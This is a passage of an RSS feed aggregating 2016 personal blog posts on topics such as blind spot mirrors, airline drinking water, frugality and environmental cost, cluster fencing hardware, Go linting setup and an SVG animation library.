&lt;a href="https://www.amazon.com/Fit-System-C0400-Passenger-Adjustable/dp/B001DKT0DO/ref=sr_1_3?s=automotive&amp;amp;ie=UTF8&amp;amp;qid=1467648316&amp;amp;sr=1-3&amp;amp;keywords=blind+spot+mirror"&gt;blind spot mirror&lt;/a&gt; for your car. They are $2, and can keep you from getting in an accident. Not a lot of people have them, though they’re awesome.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I spend an inordinate amount of time thinking about how to make driving safer.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1 to making driving safer is “don’t drive”.&lt;/strong&gt;
 (See also “increasing safety while wrestling with alligators” and “increasing safety with home-made parachutes”).&lt;/p&gt;

&lt;p&gt;Assuming you’ll drive, the next advice is “don’t be human”. The most common cause of car accidents is 
&lt;a href="https://cyberlaw.stanford.edu/blog/2013/12/human-error-cause-vehicle-crashes"&gt;human error&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Since Tesla has not taken over the world yet, we’ll still be in charge of our own vehicles for at least a little while longer.&lt;/p&gt;

&lt;p&gt;A significant sub-set of human-error accidents is “Unsafe Lane Changes”. Of these accidents, many are related to 
&lt;a href="http://papers.sae.org/2012-01-0261/"&gt;not using a turn signal&lt;/a&gt;. (I couldn’t find a free version of the study, but everyone and their mother has cited this SAE report.)&lt;/p&gt;

&lt;p&gt;So, it’s estimated that failure to use turn signals contributes to about 2 million roadway collisions every year.&lt;/p&gt;

&lt;p&gt;The most obvious place where a turn signal can cause a problem is changing lanes on a highway, where a car might be in your blind spot. Even if you use your turn signal, the other driver might not see you there, or, worse, you and the other driver might try to change into the same lane, from opposite sides.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Blind spot mirrors are an embarrassingly cheap partial solution.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I’ve used these 
&lt;a href="https://www.amazon.com/Fit-System-C0400-Passenger-Adjustable/dp/B001DKT0DO/ref=sr_1_3?s=automotive&amp;amp;ie=UTF8&amp;amp;qid=1467648316&amp;amp;sr=1-3&amp;amp;keywords=blind+spot+mirror"&gt;$2.11 blind spot mirrors&lt;/a&gt; for years.&lt;/p&gt;

&lt;p&gt;These 
&lt;a href="https://www.amazon.com/Cardeco-Moving-Circle-Universal-Vehicles/dp/B00EVMT6A8/ref=sr_1_4?s=automotive&amp;amp;ie=UTF8&amp;amp;qid=1467648316&amp;amp;sr=1-4&amp;amp;keywords=blind+spot+mirror"&gt;rimless mirrors&lt;/a&gt; look even nicer, but cost MORE THAN TWICE AS MUCH at $7.16.&lt;/p&gt;

&lt;p&gt;Order one or the other. The price is insignificant, peace of mind and not getting in an expensive and/or dangerous and/or time-consuming car accident is worth it.&lt;/p&gt;

&lt;p&gt;BTW, I don’t do affiliate links. I just thought of this as I drove from Denver to Seattle, and started trying to find cars with blind spot mirrors. There are not as many out there as there should be.&lt;/p&gt;

&lt;h3 id="resources"&gt;Resources:&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://business.nbcnews.com/_news/2012/05/01/11486051-turn-signal-neglect-a-real-danger-study-shows"&gt;Turn signal neglect a real danger, study shows&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://papers.sae.org/2012-01-0261/"&gt;Turn Signal Usage Rate Results: A Comprehensive Field Study of 12,000 Observed Turning Vehicles&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://cyberlaw.stanford.edu/blog/2013/12/human-error-cause-vehicle-crashes"&gt;Human Error as a Cause of Vehicle Crashes&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://www.quora.com/What-are-the-best-ways-to-avoid-a-car-accident"&gt;Quora: What are the best ways to avoid a car accident?&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://www.quora.com/What-are-some-parallel-parking-tips"&gt;Quora: What are some parallel parking tips?&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Mon, 04 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/cars/2016/07/04/avoid-a-car-accident-with-a-3-tool/</guid></item><item><title>Links - July 4th, 2016</title><link>https://faingezicht.com/links/2016/07/04/links/</link><description>I haven't read much lately. I checked my stats today (yes, I keep track of how many articles I read) and my rolling one week daily average is about to hit 1 article read per day. That is scary, because I don't know what is consuming my time in place of my usual online reading.

It might be &lt;a href="https://twitter.com/avyfain"&gt;Twitter&lt;/a&gt;, and &lt;a href="https://twitter.com/alinkplease"&gt;the&lt;/a&gt; &lt;a href="https://twitter.com/tweetgameoflife"&gt;bots&lt;/a&gt;, but that doesn't add up in my head.</description><author>Avy Faingezicht</author><pubDate>Mon, 04 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/07/04/links/</guid></item><item><title>Free water in airplanes</title><link>http://dimitarsimeonov.com/2016/07/04/free-water-in-airplanes</link><description>&lt;p&gt;TLDR: Hi WOW Air. Stop not providing free safe drinking water in
airplanes. This is a cruel practice, driven by greed. You are
endangering your passengers. I endorse your frugal policies to charge
for extra baggage and food, but not providing safe water is a crime in
my opinion.&lt;/p&gt;

&lt;p&gt;Right now I am in an airplane of WOW Air. I’ve had a pleasant flight
up until 20 minutes ago when I woke up from a nap. I get dehydrated
quickly, so I finished the 24oz bottle of water that I brought with
me, from the airport. This is at three and a half hour within an eight
hour flight.&lt;/p&gt;

&lt;p&gt;I went to the crew in the back of the airplane to request water. The
stewardess told me they only have water for sale. If I want free
water, she said, there is only airplane water from the toilets which
is not safe to drink. A single half-liter bottle sells for $3.&lt;/p&gt;

&lt;p&gt;They said that they would only give free water if someone desperately
needs water. I told them I feel dehydrated, but they said they won’t
give me water, because I am obviously not in a desperate need.&lt;/p&gt;

&lt;p&gt;It is &lt;em&gt;not acceptable&lt;/em&gt; for airlines to not provide a free drinking
water. Nope. It is dangerous, and cruel.&lt;/p&gt;

&lt;p&gt;I admire how cheap airlines reduce the cost by optimizing their cabin
to be lighter and to have smaller seats. I even fully endorse them
imposing strict limits to carry-on sizes and charging for checked
luggage. I also agree that they charge for food. I think these
decisions come from frugality, and they encourage passengers to be
more frugal. Frugality helps those people and it helps the
environment.&lt;/p&gt;

&lt;p&gt;In flight entertainment, food, large seat cushions, and free checked
luggage are not absolute human needs. We can all survive without them
and purchase these extra comfort on our own, or bring our own
solutions in the flight.&lt;/p&gt;

&lt;p&gt;But water is a basic human need. Dehydration creeps in before
“desperate” symptoms are visible. The air inside airplanes is dryer
than average to reduce corrosion. Passengers have no other option to
get water. It is not acceptable to starve passengers into dehydration.&lt;/p&gt;

&lt;p&gt;Stop it, WOW. Stop it now. I bought my water because I could afford it
and wanted clear mind to write this. I will dispute the transaction
because it is illegal in my opinion. But another person might decide
to wait it out and get dehydrated and die. If that happens, you’ll be
a murderer.&lt;/p&gt;

&lt;p&gt;I’m surprized that there is no regulation requiring free water. Or
maybe there is one and you are breaking it.&lt;/p&gt;</description><author>D13V</author><pubDate>Mon, 04 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/07/04/free-water-in-airplanes</guid></item><item><title>Update Delayed Serial STONITH Design</title><link>https://smcleod.net/2016/07/update-delayed-serial-stonith-design/</link><description>&lt;p&gt;&lt;em&gt;note: This is a follow up post from &lt;a href="https://smcleod.net/tech/2015/07/21/rcd-stonith/"&gt;2015-07-21-rcd-stonith&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="a-linux-cluster-base-stonith-provider-for-use-with-modern-pacemaker-clusters"&gt;A Linux Cluster Base STONITH provider for use with modern Pacemaker clusters&lt;/h3&gt;
&lt;p&gt;This has since been accepted and merged into Fedora&amp;rsquo;s code base and as such will make it&amp;rsquo;s way to RHEL.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Source Code: &lt;a href="https://github.com/sammcj/fence_rcd_serial"&gt;Github&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://diptrace.com/download/download-diptrace/"&gt;Diptrace&lt;/a&gt; CAD Design: &lt;a href="https://github.com/sammcj/fence_rcd_serial/tree/master/CAD/STONTH_CAD_DESIGN_V3"&gt;Github&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;I have open sourced the CAD circuit design and made this available within this repo under
&lt;a href="CAD/STONTH_CAD_DESIGN_V3"&gt;CAD Design and Schematics&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Related RedHat Bug: &lt;a href="https://bugzilla.redhat.com/show_bug.cgi?id=1240868"&gt;https://bugzilla.redhat.com/show_bug.cgi?id=1240868&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="v1-vs-v2v3-versions-of-the-rcd_serial-stonith-system"&gt;&lt;code&gt;v1&lt;/code&gt; vs &lt;code&gt;v2/v3&lt;/code&gt; versions of the &lt;code&gt;rcd_serial&lt;/code&gt; STONITH system&lt;/h4&gt;
&lt;p&gt;The v2/v3 cables include the following improvements:&lt;/p&gt;</description><author>smcleod.net</author><pubDate>Mon, 04 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://smcleod.net/2016/07/update-delayed-serial-stonith-design/</guid></item><item><title>Getting started with multi-tenancy on Rails</title><link>https://goshacmd.com/multitenancy/</link><author>Gosha Spark</author><pubDate>Mon, 04 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/multitenancy/</guid></item><item><title>Enabling Gometalinter with Jetbrains Editors</title><link>https://blog.nobugware.com/post/2016/gometalinter_jetbrains_idea/</link><description>I&amp;rsquo;ve been using Jetbrains editor (the free Idea community edition) or Pycharm with the Go plugins and very happy with this setup, the editor is providing some realtime linting but I was missing gometalinter.
First install gometalinter
go get -u github.com/alecthomas/gometalinter gometalinter --install --update To add support inside Jetbrains editors use the External tools feature.
In Preferences &amp;gt; Tools &amp;gt; External Tools, add a configuration.
Set the Program path to your $GOPATH/bin/gometalinter</description><author>Fabrice Aneche</author><pubDate>Sun, 03 Jul 2016 09:15:43 GMT</pubDate><guid isPermaLink="true">https://blog.nobugware.com/post/2016/gometalinter_jetbrains_idea/</guid></item><item><title>Coffee bookmarks</title><link>https://xenodium.com/coffee-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.idosi.org/wasj/wasj2(5)/17.pdf"&gt;Changes properties of coffee brew during roasting&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.coffeegeek.com/guides/aeropresscoldbrew"&gt;Aeropress Iced Coffee&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 03 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/coffee-bookmarks</guid></item><item><title>Machine learning bookmarks</title><link>https://xenodium.com/machine-learning-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=12083124"&gt;A Course in Machine Learning (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=11985709"&gt;How to start learning deep learning (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://ofir.io/How-to-Start-Learning-Deep-Learning"&gt;How to start learning deep learning&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@ageitgey/machine-learning-is-fun-80ea3ec3c471#.tg3yzvbep"&gt;Machine Learning is Fun! The world’s easiest introduction to Machine Learning&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=19000027"&gt;Practical Deep Learning for Coders 2019 (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.quora.com/What-are-the-best-ways-to-pick-up-Deep-Learning-skills-as-an-engineer/answer/Greg-Brockman?srid=cgo&amp;amp;share=d1ac0da2"&gt;What are the best ways to pick up Deep Learning skills as an engineer? (Quora)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 03 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/machine-learning-bookmarks</guid></item><item><title>What is Chaos Testing / Engineering</title><link>https://boyter.org/2016/07/chaos-testing-engineering/</link><description>&lt;p&gt;A blog post by the excellent technical people at Netflix about &lt;a href="https://web.archive.org/web/20141008152549/http://techblog.netflix.com/2014/09/introducing-chaos-engineering.html"&gt;Chaos Engineering&lt;/a&gt; and further posts about the subject by &lt;a href="http://azure.microsoft.com/blog/2015/07/01/inside-azure-search-chaos-engineering"&gt;Microsoft in Azure Search&lt;/a&gt; prompted me to ask the question, What is chaos engineering and how can chaos testing be applied to help me?&lt;/p&gt;
&lt;h2 id="what-is-chaos-testing"&gt;What is Chaos Testing?&lt;/h2&gt;
&lt;p&gt;First coined by the afore-mentioned Netflix blog post, chaos engineering takes the approach that regardless how encompassing your test suite is, once your code is running on enough machines and reaches enough complexity errors are going to happen. Since failure is unavoidable, why not deliberately introduce it to ensure your systems and processes can deal with the failure?&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Sat, 02 Jul 2016 10:48:29 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2016/07/chaos-testing-engineering/</guid></item><item><title>How Dashboards Become Product Feature Landfills</title><link>https://solomon.io/dashboards-become-product-feature-landfills/</link><description>Let’s be clear. I don’t like dashboards. As a whole, dashboards seldom provide value to users.</description><author>Sam Solomon</author><pubDate>Sat, 02 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/dashboards-become-product-feature-landfills/</guid></item><item><title>Data Structures and Algorithms in C++</title><link>https://june.kim/data-structures-and-algorithms/</link><author>june.kim</author><pubDate>Fri, 01 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/data-structures-and-algorithms/</guid></item><item><title>The First Thing I Tell New Engineers</title><link>http://blog.untrod.com/2016/06/the-first-thing-i-tell-new-engineers.html</link><description>&lt;p&gt;The first thing I tell junior programmers is: &lt;strong&gt;keep going&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;If you've been programming a while, you know that feeling of
encountering a new project, with a new stack, in a new language. The
feeling is: &lt;em&gt;OK.&lt;/em&gt; And you roll up your sleeves and get to
work.&lt;/p&gt;


&lt;p&gt;But do you …&lt;/p&gt;</description><author>Untrod</author><pubDate>Thu, 30 Jun 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">http://blog.untrod.com/2016/06/the-first-thing-i-tell-new-engineers.html</guid></item><item><title>The Code Book: The Science of Secrecy from Ancient Egypt to Quantum Cryptography</title><link>https://olshansky.info/book/the_code_book/</link><description>Olshansky's review of The Code Book: The Science of Secrecy from Ancient Egypt to Quantum Cryptography by Simon Singh</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 30 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/book/the_code_book/</guid></item><item><title>Does frugality help the environment?</title><link>http://dimitarsimeonov.com/2016/06/30/does-frugality-help-the-environment</link><description>&lt;p&gt;I think there is an interesting correlation between being frugal and
caring for and improving the natural environment.  Thinking about this
correlation led me to describe the wealth equation in my previous post&lt;/p&gt;

&lt;p&gt;Lets be clear. The wealth equation is not an absolute or accurate
truth. It is simply a model of the consequences of our actions. I made
up this model to give me a framework to think about which actions
would improve my well-being in the future. In that framework, I need
consider all included variables, but there could be more, hidden
variables that I haven’t figured out yet.&lt;/p&gt;

&lt;p&gt;With that disclaimer, lets jump in.&lt;/p&gt;

&lt;p&gt;A frugal person is a person who tries to minimize the &lt;code class="language-plaintext highlighter-rouge"&gt;monetary cost&lt;/code&gt;
of their actions, and still trying to keep it lower than their &lt;code class="language-plaintext highlighter-rouge"&gt;useful
need&lt;/code&gt;. For example, they might decide that they need nutrition, and
buy rice and beans and eggs in bulk in order to keep the cost per meal
miniscule.&lt;/p&gt;

&lt;p&gt;A frugal person might go further and when comparing their options for
which brand of rice and which brand of beans to buy, they might simply
go with the cheapest option. There could be multiple explanations of
why a given brand is cheaper than another.&lt;/p&gt;

&lt;p&gt;First, the seller profit might be different. By buying the brand with
less seller profit, the frugal person helps reinforce market dynamics
and to make the product more of a commodity.&lt;/p&gt;

&lt;p&gt;Then, there could be different fair prices for the natural
resources. Imagine one brand claims that their product is of higher
quality than the other. In that case, the frugal person determines the
difference in &lt;code class="language-plaintext highlighter-rouge"&gt;useful need&lt;/code&gt; satisfied by both products and will select
the cheaper product, unless the more expensive one really satisfies a
lot more &lt;code class="language-plaintext highlighter-rouge"&gt;useful need&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Or, there could be a case where two competing of the same quality
with the same seller profit cost differently, because in the
production of the cheaper one, the manufacturer cut corners and dumped
their dirty water without filtering it out, or used itself a supplier
who cut corners. As a result the end product’s price will be lower,
and it will be almost impossible for the consumer to determine the
reason. In this case, a frugal consumer would buy the monetarily
cheaper option but might incur some &lt;code class="language-plaintext highlighter-rouge"&gt;hidden environment cost&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In the last case, a well-meaning frugal person might get tricked into
harming the environment.&lt;/p&gt;

&lt;p&gt;Does that mean that being frugal hurts the environment? Not
necessarily. I will argue that actually, being frugal correlates with
being nicer to the environment.&lt;/p&gt;

&lt;p&gt;My first argument is that the level of consumption of a frugal person
is significantly lower than that a typical consumer. This generally
means fewer chances to incur &lt;code class="language-plaintext highlighter-rouge"&gt;hidden environment cost&lt;/code&gt;. Even if the
actions of a frugal person are on average more harmful, they under the
upper bound of the useful need of that person. Heavy consumers on the
other hand would buy a lot of items that they barely use, thus
spending a lot more than their useful need, and being much more likely
to have a higher environment impact.&lt;/p&gt;

&lt;p&gt;Another argument is that as the frugal person focuses on reducing the
monetary cost, they constantly re-evaluate and reduce their perception
of &lt;code class="language-plaintext highlighter-rouge"&gt;useful need&lt;/code&gt;. They realize they can easily go without certain
comforts and still have a life that is as good as before. So the total
perceived need for them is much lower than the perceived need of the
consumer. This further strengthens the previous argument.&lt;/p&gt;

&lt;p&gt;Yet another supporting argument is that everything has at least some
&lt;code class="language-plaintext highlighter-rouge"&gt;hidden environment cost&lt;/code&gt;, so more consumption always means more
environment effect. I will consider a piece of fruit’s fair price to
be at a fair price, if the cost covers all the resources required to
produce the fruit, and then all the resources required to return the
land to wilderness. Of course, most farmers don’t actually return
their land to the wild. The piece of fruit will contain at least some
&lt;code class="language-plaintext highlighter-rouge"&gt;hidden environment cost&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;My conclusion is that frugality generally harms the environment less
than spending does. It is not necessarily beneficial, and it can
reduce overall wealth when frugal people buy products which harm the
environment. Still, it is a small thing to ask of people - to minimize
their spending. People cannot be thinking about all possible
environment impacts when buying toilet paper. Looking at the price and
quality is what all of us do when we buy stuff. The &lt;code class="language-plaintext highlighter-rouge"&gt;hidden
environment cost&lt;/code&gt; is something to be dealt with separately. Just like
we currently have “certified organic” and “certified fair trade” we
can have “certified carbon neutral” or “certified wilderness
neutral”.&lt;/p&gt;

&lt;p&gt;Right now the closest we have is the “local” label. But that is
bullshit. It means that less fuel was used to transporting this
good. But we need to add up all environment cost, not just the
gasoline cost. It is a Luddite fallacy.&lt;/p&gt;

&lt;p&gt;As consumers we can push for products which reduce the hidden cost. It
won’t be the most frugal thing to do, as the early producers will be
able to gather up more of seller profit. But eventually, the
production level will increase and the environmentally friendlier
products will become a commodity, meaning that the seller profit will
decrease.&lt;/p&gt;

&lt;p&gt;So here is a dilemma. Do we opt for being frugal, or do we opt for
getting the most environment friendly product? I don’t have a clear
answer, but my preference would be optimizing for being frugal. It is
the steady state situation if we ever eliminate the &lt;code class="language-plaintext highlighter-rouge"&gt;hidden
environment cost&lt;/code&gt;. It is also self-serving, so we don’t always need to
face internal conflict of whether to buy the cost effective option or
the “certified pure nature” one. And I believe that frugality
generally induces warmer feeling towards nature. So with the extra
wealth we can gain from frugality, we can spend it on what we feel
like - and we can spend more on improving the environment.&lt;/p&gt;</description><author>D13V</author><pubDate>Thu, 30 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/06/30/does-frugality-help-the-environment</guid></item><item><title>ZLog project update (mid-2016 edition)</title><link>https://makedist.com/posts/2016/06/30/zlog-project-update-mid-2016-edition/</link><description>Project funding, design updates, and improved performance.</description><author>Noah Watkins</author><pubDate>Thu, 30 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://makedist.com/posts/2016/06/30/zlog-project-update-mid-2016-edition/</guid></item><item><title>Software at Companies that Don't Sell Software</title><link>http://blog.untrod.com/2016/06/software-at-companies-that-dont-sell-software.html</link><description>&lt;p&gt;If you're a software professional, there are two types of
companies you might work for; those whose products are fundamentally
software (they make money directly from technology), and those that
make their money some other way, but rely on software. Let's call the
first Type A, and the second Type …&lt;/p&gt;</description><author>Untrod</author><pubDate>Wed, 29 Jun 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">http://blog.untrod.com/2016/06/software-at-companies-that-dont-sell-software.html</guid></item><item><title>Building a WordPress Job Board</title><link>https://solomon.io/building-wordpress-job-board/</link><description>A couple weeks a go I put built a customer success job board for Trustfuel.</description><author>Sam Solomon</author><pubDate>Wed, 29 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/building-wordpress-job-board/</guid></item><item><title>Sektor - draw and animate SVG sectors</title><link>https://muffinman.io/blog/sektor-draw-and-animate-svg-circle-sectors-2016/</link><description>&lt;article class="article"&gt;&lt;p&gt;For a current project I&amp;#x27;m on, we needed both circular timer, and progress bar.
Again, I wasn&amp;#x27;t able to find small library to do that. But I found
&lt;a href="http://stackoverflow.com/questions/21205652/how-to-draw-a-circle-sector-in-css/21206274#21206274"&gt;awesome answer&lt;/a&gt;
on Stack Overflow, decided SVG is way to go, and wrote &lt;a href="https://muffinman.io/sektor/"&gt;Sektor&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Sektor is a plain JavaScript library that draws circle sector (or an arc).
Once it is drawn, you can change it&amp;#x27;s angle and animate the change.&lt;/p&gt;
&lt;figure class="image__figure"&gt;&lt;img alt="Sektor - draw and animate SVG circle" height="710" src="./sektor.png" width="1584" /&gt;&lt;/figure&gt;
&lt;p&gt;It works in every browser with SVG and &lt;code&gt;requestAnimationFrane&lt;/code&gt; support (IE10+ and modern browsers).
Check &lt;a href="https://muffinman.io/sektor/"&gt;demo and docs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I may use this for example how much better is to use &lt;code&gt;requestAnimationFrame&lt;/code&gt; than &lt;code&gt;setInterval&lt;/code&gt;.
If you are bored, try it yourself, and you&amp;#x27;ll see that animating using &lt;code&gt;requestAnimationFrame&lt;/code&gt; is way smoother.&lt;/p&gt;
&lt;p&gt;React component is coming soon as well. Cheers!&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Wed, 29 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/sektor-draw-and-animate-svg-circle-sectors-2016/</guid></item><item><title>3 Rails hosting options</title><link>https://goshacmd.com/rails-hosting-options/</link><author>Gosha Spark</author><pubDate>Tue, 28 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/rails-hosting-options/</guid></item><item><title>Pride '16</title><link>https://faingezicht.com/photos/2016/06/27/pride/</link><description>It is amazing to live in a city like San Francisco, where people can be whoever they want to be, without worrying about what others think. It is sad that something that simple can set this city apart from the rest.

Our identities shape our lives. Might as well pick the ones that make us happy.

Be proud of who you are, whatever that may be.</description><author>Avy Faingezicht</author><pubDate>Mon, 27 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2016/06/27/pride/</guid></item><item><title>The wealth equation</title><link>http://dimitarsimeonov.com/2016/06/27/the-wealth-equation</link><description>&lt;p&gt;I think that humans, and humanity in general are hard-wired to
optimize our decisions for wealth. This has effect on the environment and our relations with each other.&lt;/p&gt;

&lt;p&gt;Here are a couple of equations I came up with, to help me analyze specific situations in life:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;wealth increase =
  + useful need
  - natural resources fair prices
  - total seller profit
  - hidden environment cost

monetary cost =
  + natural resources fair prices
  + total seller profit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Lets explain each term.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Wealth increase&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This term refers to how much a given transaction, action, investment,
or generally decision would affect the overall well-being of a person,
or institution.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Useful need&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This is synonymous to &lt;em&gt;value derived&lt;/em&gt; by the person from
the action. If I am hungry and I buy a sandwich, the sandwich
immediately fulfills a need - nutrition. In normal situation, the value
is not very high as we don’t immediately need to eat, though if we are
very hungry, the value increases quite a lot. Being very hungry
affects other parts of our well-being and decision making so handling
the hunger we would avoid losing a lot of value on other actions.&lt;/p&gt;

&lt;p&gt;On the other hand, if I had just eaten and am not hungry, then the
need is zero, or even negative.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Natural resources needed&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In the sandwich example, the resources include the bread, the
vegetables, the cheese, the meat, the wrapping, or the partial cost of
the plate, the cost of washing the plate, the proportional cost
required to furnish the restaurant, the proportional cost of the
utilities for the restaurant, etc. I want to measure this cost in
terms of the base cost of the natural resources required for
this. This cost is easy to determine, as generally natural resources
are commodities with very well defined cost.&lt;/p&gt;

&lt;p&gt;I do not want to measure this by the monetary cost of all of these, as
it may vary wildly from place to place, and the person buying the
sandwich has no control over any of it. When they buy the sandwich,
they buy the whole package, or nothing.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Total seller profit&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This includes all profit to the seller from all transactions required
to produce the good, in the example case the sandwich. The restaurant
bought the bread and the ingredients from producers, who made some
profit. The restaurant also pays rent to a landlord, this is whole
other action, in which the landlord makes profit.&lt;/p&gt;

&lt;p&gt;The restaurant also pays certain utilities which are also actions of
their own, sending some seller profit towards the providers of these
utilities.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Hidden environment cost&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;By hidden environment cost, I mean the cost of all consequences of the
use of the raw ingredients which is unavoidable to pay in the
future. For example, some the sandwich ingredients were transported to
the restaurant using vehicles which burn gasoline. Burning gasoline
very likely has a hidden environment cost, global warming. If burning
so much gasoline results in environment damage which causes 5 trillion
dollars cost in 20 years, then the hidden cost of the action is the
proportion of these 5 trillion attributed to the amount of gasoline
burned for the transaction, at present value. Producing the
ingredients might have other hidden cost, by creating water pollution,
or disrupting fragile ecosystems. For example, for a ten dollar
sandwich, the total hidden cost might be 40 cents.&lt;/p&gt;

&lt;p&gt;The caveat, is that this hidden cost is not payed by the people making
the sandwich transaction. This hidden cost is payed in the future, by
everybody.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Corollaries&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Having defined this basic equation, I will go on in the next few posts
and discuss several important corollaries, not necessarily in the
order below:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Carbon tax and other hidden cost neutralizers. Environmental debt,
and the interest we pay for it.&lt;/li&gt;
  &lt;li&gt;Being frugal, when does it help the environment, and when it hurts.&lt;/li&gt;
  &lt;li&gt;Does giving tips benefit society?&lt;/li&gt;
  &lt;li&gt;Using commodities verses using designer products.&lt;/li&gt;
  &lt;li&gt;Investments which generate seller profit for us. How to find opportunity.&lt;/li&gt;
&lt;/ol&gt;</description><author>D13V</author><pubDate>Mon, 27 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/06/27/the-wealth-equation</guid></item><item><title>Working on a graphics editor.  Have some Synthwave.</title><link>http://www.nuke24.net/plog/10.html</link><author>TOGoS's Project Log</author><pubDate>Sun, 26 Jun 2016 21:13:37 GMT</pubDate><guid isPermaLink="true">http://www.nuke24.net/plog/10.html</guid></item><item><title>Video Conference Part 4: Making RANS the Ryg way</title><link>https://bengarney.com/2016/06/25/video-conference-part-4-making-rans-the-ryg-way/</link><description>Last post, we got our networking stack up and running, figured out how to work around firewalls, and saw how our codec performs over a real network link. This motivated us to revisit our compression schemes, which is what we&amp;#8217;ll do in today&amp;#8217;s post. We&amp;#8217;ll start with some algorithmic improvements to reduce the amount of [&amp;#8230;]</description><author>Ben Garney</author><pubDate>Sun, 26 Jun 2016 08:56:13 GMT</pubDate><guid isPermaLink="true">https://bengarney.com/2016/06/25/video-conference-part-4-making-rans-the-ryg-way/</guid></item><item><title>Video Conference Part 3: Getting Online</title><link>https://bengarney.com/2016/06/25/video-conference-part-3-getting-online/</link><description>Last time we got up close and intimate with the core compression techniques used in the JPEG format, and applied them to our own situation for better compression. We got our data rates low enough that we have a shot at realtime video under ideal network conditions. Now it&amp;#8217;s time to actually send data over [&amp;#8230;]</description><author>Ben Garney</author><pubDate>Sun, 26 Jun 2016 08:42:59 GMT</pubDate><guid isPermaLink="true">https://bengarney.com/2016/06/25/video-conference-part-3-getting-online/</guid></item><item><title>Video 